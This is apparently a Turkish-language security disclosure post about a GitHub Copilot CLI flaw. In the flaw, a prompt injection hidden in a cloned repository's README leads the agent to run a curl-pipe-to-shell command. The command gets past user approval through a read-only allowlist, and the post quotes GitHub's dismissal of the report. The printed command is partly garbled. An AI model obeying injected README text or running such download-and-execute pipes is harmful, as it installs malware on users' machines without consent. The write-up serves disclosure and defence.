GitHub Copilot CLI'nin Güvenlik Açığı
GitHub Copilot CLI, kullanıcıların onayını almadan zararlı shell komutlarının çalıştırılmasına olanak tanıyan güvenlik açıkları ile karşı karşıya. Bu yazıda, dış sunuculardan kötü amaçlı yazılımların nasıl indirilebileceğini ve çalıştırılabileceğini ele alıyoruz.
Copilot CLI'nin yeni sürümü, 2026 itibarıyla piyasaya sürüldü. Ancak, bu sürümdeki açıklar, komut doğrulama sistemini aşarak uzaktan kod yürütme (remote code execution) sağlamaktadır. Kullanıcı onayı olmadan potansiyel olarak tehlikeli komutlar çalıştırılabiliyor.
GitHub'ın Yanıtı
GitHub, durumu hızlıca değerlendirerek, "Raporunuzu inceledik ve bulgularınızı doğruladık. İçsel değerlendirmemiz sonucunda, bu durumun bilinen bir sorun olduğunu ve önemli bir güvenlik riski oluşturmadığını belirledik" açıklamasında bulundu.
Komut Yürütme Mekanizması
Copilot, kullanıcının izni olmadan kod veya bash komutlarının çalıştırılmasını önlemek için bir onay sistemi içermektedir. Ancak, eğer kullanıcı:
Komutu otomatik olarak çalıştıracak şekilde yapılandırmışsa veya
Komut, kaynak kodunda bulunan ve onay gerektirmeyen bir 'salt okunur' listeye dahilse,
onay istemi tetiklenmez.
Saldırı Zinciri
Kullanıcı, GitHub Copilot CLI'ye sorgu gönderir. Örneğin, yeni klonladığı bir açık kaynak deposu üzerinde çalışırken Copilot'tan yardım ister.
Copilot, kötü niyetli bir prompt enjeksiyonu ile karşılaşır. Bu, klonlanmış deponun README dosyasında saklanmaktadır.
İnsan onayı mekanizması bypass edilir. Microsoft, dış URL izinlerinin kontrol edildiğini belirtmektedir, ancak bu izinler, bazı shell komutlarının (örneğin, curl) tespit edilememesi durumunda tetiklenmez. Örneğin, bir kötü amaçlı komut:
env curl -s " | env shBu komut, kaynak kodunda yer alan bir 'salt okunur' listeye dahil olduğu için otomatik onay alır.
Copilot, kullanıcı onayı olmadan kötü amaçlı yazılım indirir ve çalıştırır. Normalde, dosyalara yazma veya kod çalıştırma gibi komutlar, insan onayı talep ederken, burada bu gereklilik göz ardı edilmiştir.
Limitasyonlar ve Gelecek Araştırmalar
Bu açıklar, yalnızca macOS ile sınırlıdır. Ancak, GitHub Copilot'un daha fazla güvenlik açığı içermesi ve Windows'a özgü riskler taşıması söz konusu. Ayrıca, burada ele alınmayan komut ayrıştırma açıkları, keyfi dosya okuma ve yazma işlemlerine olanak tanımaktadır.
Sorumlu Açıklama
2026 yılı itibarıyla GitHub'a rapor edilen durum, kullanıcıların büyük bir risk altında olduğunu göstermektedir. GitHub bu sorunu çözmek için gerekli adımları atmadığı sürece, kullanıcıların dikkatli olması önerilmektedir.



